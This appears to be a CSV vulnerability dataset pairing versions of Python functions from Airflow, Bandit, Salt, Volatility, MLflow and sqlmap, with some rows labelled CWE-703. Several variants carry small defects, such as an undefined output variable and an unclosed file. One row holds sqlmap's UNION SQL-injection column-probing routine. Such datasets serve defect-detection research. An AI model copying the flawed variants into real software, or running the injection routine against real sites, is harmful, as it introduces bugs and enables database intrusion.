            ('Secret', 'TEST-BASIC-airflow-result-backend'),
            ('Secret', 'TEST-BASIC-broker-url'),
            ('Secret', 'TEST-BASIC-fernet-key'),
            ('Secret', 'TEST-BASIC-postgresql'),
            ('Secret', 'TEST-BASIC-redis-password'),
            ('ConfigMap', 'TEST-BASIC-airflow-config'),
            ('Role', 'TEST-BASIC-pod-launcher-role'),
            ('Role', 'TEST-BASIC-pod-log-reader-role'),
            ('RoleBinding', 'TEST-BASIC-pod-launcher-rolebinding'),
            ('RoleBinding', 'TEST-BASIC-pod-log-reader-rolebinding'),
            ('Service', 'TEST-BASIC-flower'),
            ('Service', 'TEST-BASIC-postgresql-headless'),
            ('Service', 'TEST-BASIC-postgresql'),
            ('Service', 'TEST-BASIC-redis'),
            ('Service', 'TEST-BASIC-statsd'),
            ('Service', 'TEST-BASIC-webserver'),
            ('Service', 'TEST-BASIC-worker'),
            ('Deployment', 'TEST-BASIC-flower'),
            ('Deployment', 'TEST-BASIC-scheduler'),
            ('Deployment', 'TEST-BASIC-statsd'),
            ('Deployment', 'TEST-BASIC-webserver'),
            ('StatefulSet', 'TEST-BASIC-postgresql'),
            ('StatefulSet', 'TEST-BASIC-redis'),
            ('StatefulSet', 'TEST-BASIC-worker'),
            ('Job', 'TEST-BASIC-create-user'),
            ('Job', 'TEST-BASIC-run-airflow-migrations'),
        }
        assert OBJECT_COUNT_IN_BASIC_DEPLOYMENT == len(k8s_objects)
        for k8s_object in k8s_objects:
            labels = jmespath.search('metadata.labels', k8s_object) or {}
            if 'postgresql' in labels.get('chart'):
                continue
            k8s_name = k8s_object['kind'] + "":"" + k8s_object['metadata']['name']
            assert 'TEST-VALUE' == labels.get(
                ""TEST-LABEL""
            ), f""Missing label TEST-LABEL on {k8s_name}. Current labels: {labels}""",CWE-703,apache/airflow,db63de626f53c9e0242f0752bb996d0e32ebf6ea,"def test_basic_deployments(self):
        k8s_objects = render_chart(
            ""TEST-BASIC"",
            values={
                ""chart"": {
                    'metadata': 'AA',
                },
                'labels': {""TEST-LABEL"": ""TEST-VALUE""},
                ""fullnameOverride"": ""TEST-BASIC"",
            },
        )
        list_of_kind_names_tuples = [
            (k8s_object['kind'], k8s_object['metadata']['name']) for k8s_object in k8s_objects
        ]
        assert list_of_kind_names_tuples == [
            ('ServiceAccount', 'TEST-BASIC-flower'),
            ('ServiceAccount', 'TEST-BASIC-create-user-job'),
            ('ServiceAccount', 'TEST-BASIC-migrate-database-job'),
            ('ServiceAccount', 'TEST-BASIC-redis'),
            ('ServiceAccount', 'TEST-BASIC-scheduler'),
            ('ServiceAccount', 'TEST-BASIC-statsd'),
            ('ServiceAccount', 'TEST-BASIC-webserver'),
            ('ServiceAccount', 'TEST-BASIC-worker'),
            ('Secret', 'TEST-BASIC-postgresql'),
            ('Secret', 'TEST-BASIC-airflow-metadata'),
            ('Secret', 'TEST-BASIC-airflow-result-backend'),
            ('ConfigMap', 'TEST-BASIC-airflow-config'),
            ('Role', 'TEST-BASIC-pod-launcher-role'),
            ('Role', 'TEST-BASIC-pod-log-reader-role'),
            ('RoleBinding', 'TEST-BASIC-pod-launcher-rolebinding'),
            ('RoleBinding', 'TEST-BASIC-pod-log-reader-rolebinding'),
            ('Service', 'TEST-BASIC-postgresql-headless'),
            ('Service', 'TEST-BASIC-postgresql'),
            ('Service', 'TEST-BASIC-flower'),
            ('Service', 'TEST-BASIC-redis'),
            ('Service', 'TEST-BASIC-statsd'),
            ('Service', 'TEST-BASIC-webserver'),
            ('Service', 'TEST-BASIC-worker'),
            ('Deployment', 'TEST-BASIC-flower'),
            ('Deployment', 'TEST-BASIC-scheduler'),
            ('Deployment', 'TEST-BASIC-statsd'),
            ('Deployment', 'TEST-BASIC-webserver'),
            ('StatefulSet', 'TEST-BASIC-postgresql'),
            ('StatefulSet', 'TEST-BASIC-redis'),
            ('StatefulSet', 'TEST-BASIC-worker'),
            ('Secret', 'TEST-BASIC-fernet-key'),
            ('Secret', 'TEST-BASIC-redis-password'),
            ('Secret', 'TEST-BASIC-broker-url'),
            ('Job', 'TEST-BASIC-create-user'),
            ('Job', 'TEST-BASIC-run-airflow-migrations'),
        ]
        assert OBJECT_COUNT_IN_BASIC_DEPLOYMENT == len(k8s_objects)
        for k8s_object in k8s_objects:
            labels = jmespath.search('metadata.labels', k8s_object) or {}
            if 'postgresql' in labels.get('chart'):
                continue
            k8s_name = k8s_object['kind'] + "":"" + k8s_object['metadata']['name']
            assert 'TEST-VALUE' == labels.get(
                ""TEST-LABEL""
            ), f""Missing label TEST-LABEL on {k8s_name}. Current labels: {labels}"""
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_json.py,0,"def test_report(self, get_issue_list):
        self.manager.files_list = ['binding.py']
        self.manager.scores = [{'SEVERITY': [0] * len(constants.RANKING),
                                'CONFIDENCE': [0] * len(constants.RANKING)}]

        get_issue_list.return_value = collections.OrderedDict(
            [(self.issue, self.candidates)])

        with open(self.tmp_fname, 'w') as tmp_file:
            b_json.report(self.manager, tmp_file, self.issue.severity,
                          self.issue.confidence)

        with open(self.tmp_fname) as f:
            data = json.loads(f.read())
            self.assertIsNotNone(data['generated_at'])
            self.assertEqual(self.tmp_fname, data['results'][0]['filename'])
            self.assertEqual(self.issue.severity,
                             data['results'][0]['issue_severity'])
            self.assertEqual(self.issue.confidence,
                             data['results'][0]['issue_confidence'])
            self.assertEqual(self.issue.text, data['results'][0]['issue_text'])
            self.assertEqual(self.context['lineno'],
                             data['results'][0]['line_number'])
            self.assertEqual(self.context['linerange'],
                             data['results'][0]['line_range'])
            self.assertEqual(self.check_name, data['results'][0]['test_name'])
            self.assertIn('candidates', data['results'][0])
            self.assertIn('more_info', data['results'][0])
            self.assertIsNotNone(data['results'][0]['more_info'])",UNKNOWN,PyCQA/bandit,682c38b26854ecab96001adce25ebfe8d794ec16,"def test_report(self, get_issue_list):
        self.manager.files_list = ['binding.py']
        self.manager.scores = [{'SEVERITY': [0] * len(constants.RANKING),
                                'CONFIDENCE': [0] * len(constants.RANKING)}]

        get_issue_list.return_value = collections.OrderedDict(
            [(self.issue, self.candidates)])

        tmp_file = open(self.tmp_fname, 'w')
        b_json.report(self.manager, tmp_file, self.issue.severity,
                      self.issue.confidence)

        with open(self.tmp_fname) as f:
            data = json.loads(f.read())
            self.assertIsNotNone(data['generated_at'])
            self.assertEqual(self.tmp_fname, data['results'][0]['filename'])
            self.assertEqual(self.issue.severity,
                             data['results'][0]['issue_severity'])
            self.assertEqual(self.issue.confidence,
                             data['results'][0]['issue_confidence'])
            self.assertEqual(self.issue.text, data['results'][0]['issue_text'])
            self.assertEqual(self.context['lineno'],
                             data['results'][0]['line_number'])
            self.assertEqual(self.context['linerange'],
                             data['results'][0]['line_range'])
            self.assertEqual(self.check_name, data['results'][0]['test_name'])
            self.assertIn('candidates', data['results'][0])
            self.assertIn('more_info', data['results'][0])
            self.assertIsNotNone(data['results'][0]['more_info'])"
,UNKNOWN,UNKNOWN,tests/unit/states/test_saltmod.py,1,"def test_state_ssh(self):
        '''
        Test saltmod passes roster to saltutil.cmd
        '''
        origcmd = saltmod.__salt__['saltutil.cmd']
        cmd_kwargs = {}
        cmd_args = []

        def cmd_mock(*args, **kwargs):
            cmd_args.extend(args)
            cmd_kwargs.update(kwargs)
            return origcmd(*args, **kwargs)

        with patch.dict(saltmod.__salt__, {'saltutil.cmd': cmd_mock}):
            ret = saltmod.state('state.sls', tgt='*', ssh=True, highstate=True, roster='my_roster')
        assert 'roster_file' in cmd_kwargs
        assert cmd_kwargs['roster_file'] == 'my_roster'",CWE-703,saltstack/salt,484bab43990ffbb7e2a2d86b7cf77ade95bd9308,"def test_state_ssh(self):
        '''
        Test saltmod passes roster to saltutil.cmd
        '''
        origcmd = saltmod.__salt__['saltutil.cmd']
        cmd_kwargs = {}
        cmd_args = []
        def cmd_mock(*args, **kwargs):
            cmd_args.extend(args)
            cmd_kwargs.update(kwargs)
            return origcmd(*args, **kwargs)
        with patch.dict(saltmod.__salt__, {'saltutil.cmd': cmd_mock}):
            ret = saltmod.state('state.sls', tgt='*', ssh=True, highstate=True, roster='my_roster')
        assert 'roster_file' in cmd_kwargs
        assert cmd_kwargs['roster_file'] == 'my_roster'"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/renderers/text.py,0,"def render(self, outfd, grid):
        """"""Renders a text grid based on the contents of each element""""""
        if not isinstance(grid, renderers.TreeGrid):
            raise TypeError(""Grid must be of type TreeGrid"")

        self._cell_renderers = self._cell_renderers_func(grid.columns)
        if not isinstance(self._cell_renderers, list):
            raise TypeError(""cell_renderers must be of type list"")
        for item in self._cell_renderers:
            if not isinstance(item, CellRenderer):
                raise TypeError(""Items within the cell_renderers list must be of type CellRenderer"")

        # Determine number of columns
        grid_depth = grid.visit(None, lambda x, y: max(y, grid.path_depth(x)), 0)

        # Determine max width of each column
        grid_max_widths = [0] * len(grid.columns)

        def gridwidth(node, accumulator = None):
            for vindex in range(len(node.values)):
                entry = self._cell_renderers[vindex].render(node.values[vindex])
                accumulator[vindex] = max(len(entry), accumulator[vindex])
            return accumulator

        grid.visit(None, gridwidth, grid_max_widths)
        if grid_depth > 1:
            grid_max_widths = [grid_depth * 1] + grid_max_widths

        # Figure out how to partition the available widths
        new_grid_widths = self.partition_width(grid_max_widths)

        # If the grid_max_widths have not been limited,
        if new_grid_widths == grid_max_widths:
            for i in range(len(grid.columns)):
                index = i + (1 if grid_depth > 1 else 0)
                grid_max_widths[index] = max(grid_max_widths[index], len(grid.columns[i].name))

        for i in range(len(grid.columns)):
            index = i + (1 if grid_depth > 1 else 0)
            self._cell_renderers[i].width = grid_max_widths[index]
            grid_max_widths[index] = self._cell_renderers[i].width

        cols = []
        for index in range(len(grid_max_widths)):
            if grid_depth > 1:
                if index == 0:
                    cols += ["" "" * grid_max_widths[index]]
                    continue
                else:
                    column = grid.columns[index - 1]
            else:
                column = grid.columns[index]
            cols += [
                self._elide((""{:<"" + str(grid_max_widths[index]) + ""}"").format(column.name), grid_max_widths[index])]
        outfd.write("" "".join(cols) + ""\n"")

        def print_row(node, accumulator = None):
            row = []
            for index in range(len(grid_max_widths)):
                if grid_depth > 1:
                    if index == 0:
                        row += [("" "" * (grid.path_depth(node) - 1)) + "">"" + (
                            "" "" * (grid_max_widths[0] - grid.path_depth(node)))]
                        continue
                    else:
                        column = grid.columns[index - 1]
                else:
                    column = grid.columns[index]

                column_text = self._cell_renderers[column.index].render(node.values[column.index])
                row += [self._elide(column_text, grid_max_widths[index])]
            accumulator += ["" "".join(row)]
            return accumulator

        output = []
        sort_key = None
        if self.sort_column:
            sort_key = ColumnSortKey(grid, self.sort_column).key
        grid.visit(None, print_row, output, sort_key = sort_key)
        outfd.write(""\n"".join(output) + ""\n"")",,volatilityfoundation/volatility,47a03364d5a53f4431ab47790a2e0d7d49ccb18f,"def render(self, outfd, grid):
        """"""Renders a text grid based on the contents of each element""""""
        if not isinstance(grid, renderers.TreeGrid):
            raise TypeError(""Grid must be of type TreeGrid"")

        self._cell_renderers = self._cell_renderers_func(grid.columns)
        if not isinstance(self._cell_renderers, list):
            raise TypeError(""cell_renderers must be of type list"")
        for item in self._cell_renderers:
            if not isinstance(item, CellRenderer):
                raise TypeError(""Items within the cell_renderers list must be of type CellRenderer"")

        # Determine number of columns
        grid_depth = grid.visit(None, lambda x, y: max(y, grid.path_depth(x)), 0)

        # Determine max width of each column
        grid_max_widths = [0] * len(grid.columns)

        def gridwidth(node, accumulator = None):
            for vindex in range(len(node.values)):
                entry = self._cell_renderers[vindex].render(node.values[vindex])
                accumulator[vindex] = max(len(entry), accumulator[vindex])
            return accumulator

        grid.visit(None, gridwidth, grid_max_widths)
        if grid_depth > 1:
            grid_max_widths = [grid_depth * 1] + grid_max_widths

        # Figure out how to partition the available widths
        new_grid_widths = self.partition_width(grid_max_widths)

        # If the grid_max_widths have not been limited,
        if new_grid_widths == grid_max_widths:
            for i in range(len(grid.columns)):
                index = i + (1 if grid_depth > 1 else 0)
                grid_max_widths[index] = max(grid_max_widths[index], len(grid.columns[i].name))

        for i in range(len(grid.columns)):
            index = i + (1 if grid_depth > 1 else 0)
            self._cell_renderers[i].width = grid_max_widths[index]
            grid_max_widths[index] = self._cell_renderers[i].width

        cols = []
        for index in range(len(grid_max_widths)):
            if grid_depth > 1:
                if index == 0:
                    cols += ["" "" * grid_max_widths[index]]
                    continue
                else:
                    column = grid.columns[index - 1]
            else:
                column = grid.columns[index]
            cols += [
                self._elide((""{:<"" + str(grid_max_widths[index]) + ""}"").format(column.name), grid_max_widths[index])]
        fdout.write("" "".join(cols) + ""\n"")

        def print_row(node, accumulator = None):
            row = []
            for index in range(len(grid_max_widths)):
                if grid_depth > 1:
                    if index == 0:
                        row += [("" "" * (grid.path_depth(node) - 1)) + "">"" + (
                            "" "" * (grid_max_widths[0] - grid.path_depth(node)))]
                        continue
                    else:
                        column = grid.columns[index - 1]
                else:
                    column = grid.columns[index]

                column_text = self._cell_renderers[column.index].render(node.values[column.index])
                row += [self._elide(column_text, grid_max_widths[index])]
            accumulator += ["" "".join(row)]
            return accumulator

        output = []
        sort_key = None
        if self.sort_column:
            sort_key = ColumnSortKey(grid, self.sort_column).key
        grid.visit(None, print_row, output, sort_key = sort_key)
        fdout.write(""\n"".join(output) + ""\n"")"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_model_export.py,1,"def test_predict_with_builtin_pyfunc_chat_conversion(spark):
    input_example = {
        ""messages"": [
            {""role"": ""system"", ""content"": ""You are a helpful assistant.""},
            {""role"": ""assistant"", ""content"": ""What would you like to ask?""},
            {""role"": ""user"", ""content"": ""Who owns MLflow?""},
        ]
    }
    content = (
        ""system: You are a helpful assistant.\n""
        ""ai: What would you like to ask?\n""
        ""human: Who owns MLflow?""
    )
    example_output = {
        ""id"": ""some_id"",
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": ""some_model"",
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": ""stop"",
            }
        ],
        ""usage"": {
            ""prompt_tokens"": 13,
            ""completion_tokens"": 7,
            ""total_tokens"": 20,
        },
    }
    signature = infer_signature(model_input=input_example, model_output=example_output)

    chain = ChatModel() | StrOutputParser()
    assert chain.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    with pytest.raises(ValueError, match=""Invalid input type""):
        chain.invoke(input_example)

    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(
            chain, ""model_path"", signature=signature, input_example=input_example
        )

    loaded_model = mlflow.langchain.load_model(model_info.model_uri)
    assert (
        loaded_model.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    )

    pyfunc_loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    expected_chat_response = {
        ""id"": None,
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": None,
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": None,
            }
        ],
        ""usage"": {
            ""prompt_tokens"": None,
            ""completion_tokens"": None,
            ""total_tokens"": None,
        },
    }

    with mock.patch(""time.time"", return_value=1677858242):
        result1 = pyfunc_loaded_model.predict(input_example)
        result1[0][""id""] = None
        assert result1 == [expected_chat_response]
        result2 = pyfunc_loaded_model.predict([input_example, input_example])
        result2[0][""id""] = None
        result2[1][""id""] = None
        assert result2 == [
            expected_chat_response,
            expected_chat_response,
        ]

    with pytest.raises(MlflowException, match=""Unrecognized chat message role""):
        pyfunc_loaded_model.predict({""messages"": [{""role"": ""foobar"", ""content"": ""test content""}]})",CWE-703,mlflow/mlflow,5996d8bba4f5377a3346f035895cb1a07b0b35fc,"def test_predict_with_builtin_pyfunc_chat_conversion(spark):
    input_example = {
        ""messages"": [
            {""role"": ""system"", ""content"": ""You are a helpful assistant.""},
            {""role"": ""assistant"", ""content"": ""What would you like to ask?""},
            {""role"": ""user"", ""content"": ""Who owns MLflow?""},
        ]
    }
    content = (
        ""system: You are a helpful assistant.\n""
        ""ai: What would you like to ask?\n""
        ""human: Who owns MLflow?""
    )
    example_output = {
        ""id"": ""some_id"",
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": ""some_model"",
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": ""stop"",
            }
        ],
        ""usage"": {
            ""prompt_tokens"": 13,
            ""completion_tokens"": 7,
            ""total_tokens"": 20,
        },
    }
    signature = infer_signature(model_input=input_example, model_output=example_output)

    chain = ChatModel() | StrOutputParser()
    assert chain.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    with pytest.raises(ValueError, match=""Invalid input type""):
        chain.invoke(input_example)

    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(
            chain, ""model_path"", signature=signature, input_example=input_example
        )

    loaded_model = mlflow.langchain.load_model(model_info.model_uri)
    assert (
        loaded_model.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    )

    pyfunc_loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    expected_chat_response = {
        ""id"": None,
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": None,
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": None,
            }
        ],
        ""usage"": {
            ""prompt_tokens"": None,
            ""completion_tokens"": None,
            ""total_tokens"": None,
        },
    }

    with mock.patch(""time.time"", return_value=1677858242):
        result1 = pyfunc_loaded_model.predict(input_example)
        result1[0][""id""] = None
        assert result1 == [expected_chat_response]
        result2 = pyfunc_loaded_model.predict([input_example, input_example])
        result2[0][""id""] = None
        result2[1][""id""] = None
        assert result2 == [
            expected_chat_response,
            expected_chat_response,
        ]

    with pytest.raises(MlflowException, match=""Invalid input type""):
        pyfunc_loaded_model.predict({""messages"": [{""role"": ""foobar"", ""content"": ""test content""}]})"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/_tracking_service/client.py,0,"def create_run(self, experiment_id, start_time=None, tags=None, run_name=None):
        """"""
        Create a :py:class:`mlflow.entities.Run` object that can be associated with
        metrics, parameters, artifacts, etc.
        Unlike :py:func:`mlflow.projects.run`, creates objects but does not run code.
        Unlike :py:func:`mlflow.start_run`, does not change the ""active run"" used by
        :py:func:`mlflow.log_param`.

        :param experiment_id: The ID of the experiment to create a run in.
        :param start_time: If not provided, use the current timestamp.
        :param tags: A dictionary of key-value pairs that are converted into
                     :py:class:`mlflow.entities.RunTag` objects.
        :param name: The name of this run.
        :return: :py:class:`mlflow.entities.Run` that was created.
        """"""

        tags = tags if tags else {}

        # Extract user from tags
        # This logic is temporary; the user_id attribute of runs is deprecated and will be removed
        # in a later release.
        user_id = tags.get(MLFLOW_USER, ""unknown"")

        return self.store.create_run(
            experiment_id=experiment_id,
            user_id=user_id,
            start_time=start_time or int(time.time() * 1000),
            tags=[RunTag(key, value) for (key, value) in tags.items()],
            run_name=run_name,
        )",,mlflow/mlflow,d97e68b9b0646cb6754461d411a0ce54ea5ae9c7,"def create_run(self, experiment_id, start_time=None, tags=None, run_name=None):
        """"""
        Create a :py:class:`mlflow.entities.Run` object that can be associated with
        metrics, parameters, artifacts, etc.
        Unlike :py:func:`mlflow.projects.run`, creates objects but does not run code.
        Unlike :py:func:`mlflow.start_run`, does not change the ""active run"" used by
        :py:func:`mlflow.log_param`.

        :param experiment_id: The ID of the experiment to create a run in.
        :param start_time: If not provided, use the current timestamp.
        :param tags: A dictionary of key-value pairs that are converted into
                     :py:class:`mlflow.entities.RunTag` objects.
        :param name: The name of this run.
        :return: :py:class:`mlflow.entities.Run` that was created.
        """"""

        tags = tags if tags else {}

        # Extract user from tags
        # This logic is temporary; the user_id attribute of runs is deprecated and will be removed
        # in a later release.
        user_id = tags.get(MLFLOW_USER, ""unknown"")

        return self.store.create_run(
            experiment_id=experiment_id,
            user_id=user_id,
            start_time=start_time or int(time.time() * 1000),
            tags=[RunTag(key, value) for (key, value) in tags.items()],
            run_name=run_name,
        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """"""
    Finds number of columns affected by UNION based injection
    """"""
    retVal = None

    def __orderByTechnique():
        def __orderByTest(cols):
            query = agent.prefixQuery(""ORDER BY %d"" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not re.search(r""((warning|error)[^\n]*order)|(order by)"", page or """", re.I)

        if __orderByTest(1) and not __orderByTest(randomInt()):
            infoMsg = ""ORDER BY technique seems to be usable. ""
            infoMsg += ""This should reduce the time needed ""
            infoMsg += ""to find the right number ""
            infoMsg += ""of query columns. Automatically extending the ""
            infoMsg += ""range for UNION query injection technique""
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1, ORDER_BY_STEP
            found = None
            while not found:
                if __orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if __orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if lowerCount == 1:
        found = kb.orderByColumns or __orderByTechnique()
        if found:
            kb.orderByColumns = found
            infoMsg = ""target url appears to have %d columns in query"" % found
            singleTimeLogMessage(infoMsg)
            return found

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO
    pages = {}

    for count in range(lowerCount, upperCount+1):
        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        if kb.uChar:
            pages[count] = page
        ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    if kb.uChar and kb.uChar.upper() != 'NULL':
        for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
            contains = [(count, re.search(regex, page or """", re.IGNORECASE) is not None) for count, page in pages.items()]
            if len(filter(lambda x: x[1], contains)) == 1:
                retVal = filter(lambda x: x[1], contains)[0][0]
                break

    if not retVal:
        ratios.pop(ratios.index(min_))
        ratios.pop(ratios.index(max_))

        minItem, maxItem = None, None

        for item in items:
            if item[1] == min_:
                minItem = item
            elif item[1] == max_:
                maxItem = item

        if all(map(lambda x: x == min_ and x != max_, ratios)):
            retVal = maxItem[0]

        elif all(map(lambda x: x != min_ and x == max_, ratios)):
            retVal = minItem[0]

        elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                deviation = stdev(ratios)
                lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                if min_ < lower:
                    retVal = minItem[0]

                if max_ > upper:
                    if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                        retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = ""target url appears to be UNION injectable with %d columns"" % retVal
        logger.info(infoMsg)

    return retVal",,sqlmapproject/sqlmap,9356f8005c53a2f2d267fd3029d3cfe4e2078708,"def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """"""
    Finds number of columns affected by UNION based injection
    """"""
    retVal = None

    def __orderByTechnique():
        def __orderByTest(cols):
            query = agent.prefixQuery(""ORDER BY %d"" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not re.search(r""((warning|error)[^\n]*order)|(order by)"", page or """", re.I)

        if __orderByTest(1) and not __orderByTest(randomInt()):
            infoMsg = ""ORDER BY technique seems to be usable. ""
            infoMsg += ""This should reduce the time needed ""
            infoMsg += ""to find the right number ""
            infoMsg += ""of query columns. Automatically extending the ""
            infoMsg += ""range for UNION query injection technique""
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1, ORDER_BY_STEP
            found = None
            while not found:
                if __orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if __orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if lowerCount == 1:
        found = kb.orderByColumns or __orderByTechnique()
        if found:
            kb.orderByColumns = found
            infoMsg = ""target url appears to have %d columns in query"" % found
            singleTimeLogMessage(infoMsg)
            return found

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO
    pages = {}

    for count in range(lowerCount, upperCount+1):
        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        if kb.uChar:
            pages[count] = page
        ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    if kb.uChar and kb.uChar != 'NULL':
        for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
            contains = [(count, re.search(regex, page or """", re.IGNORECASE) is not None) for count, page in pages.items()]
            if len(filter(lambda x: x[1], contains)) == 1:
                retVal = filter(lambda x: x[1], contains)[0][0]
                break

    if not retVal:
        ratios.pop(ratios.index(min_))
        ratios.pop(ratios.index(max_))

        minItem, maxItem = None, None

        for item in items:
            if item[1] == min_:
                minItem = item
            elif item[1] == max_:
                maxItem = item

        if all(map(lambda x: x == min_ and x != max_, ratios)):
            retVal = maxItem[0]

        elif all(map(lambda x: x != min_ and x == max_, ratios)):
            retVal = minItem[0]

        elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                deviation = stdev(ratios)
                lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                if min_ < lower:
                    retVal = minItem[0]

                if max_ > upper:
                    if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                        retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = ""target url appears to be UNION injectable with %d columns"" % retVal
        logger.info(infoMsg)

    return retVal"
,UNKNOWN,UNKNOWN,salt/utils/schedule.py,1,"def eval(self, now=None):
        '''
        Evaluate and execute the schedule

        :param datetime now: Override current time with a datetime object instance``

        '''

        log.trace('==== evaluating schedule now %s =====', now)

        loop_interval = self.opts['loop_interval']
        if not isinstance(loop_interval, datetime.timedelta):
            loop_interval = datetime.timedelta(seconds=loop_interval)

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        def _handle_time_elements(data):
            '''
            Handle schedule item with time elements
            seconds, minutes, hours, days
            '''
            if '_seconds' not in data:
                interval = int(data.get('seconds', 0))
                interval += int(data.get('minutes', 0)) * 60
                interval += int(data.get('hours', 0)) * 3600
                interval += int(data.get('days', 0)) * 86400

                data['_seconds'] = interval

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

                if interval < self.loop_interval:
                    self.loop_interval = interval

                data['_next_scheduled_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

            return data

        def _handle_once(job, data, loop_interval):
            '''
            Handle schedule item with once
            '''
            if data['_next_fire_time']:
                if data['_next_fire_time'] < now - loop_interval or \
                   data['_next_fire_time'] > now and \
                   not data['_splay']:
                    data['_continue'] = True

            if not data['_next_fire_time'] and \
                    not data['_splay']:
                once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                try:
                    once = datetime.datetime.strptime(data['once'],
                                                      once_fmt)
                except (TypeError, ValueError):
                    data['_error'] = ('Date string could not '
                                      'be parsed: {0}, {1}. '
                                      'Ignoring job {2}.'.format(
                                          data['once'], once_fmt, job))
                    log.error(data['_error'])
                    return data
                # If _next_fire_time is less than now, continue
                if once < now - loop_interval:
                    data['_continue'] = True
                else:
                    data['_next_fire_time'] = once
                    data['_next_scheduled_fire_time'] = once
            return data

        def _handle_when(job, data, loop_interval):
            '''
            Handle schedule item with when
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if isinstance(data['when'], list):
                _when = []
                for i in data['when']:
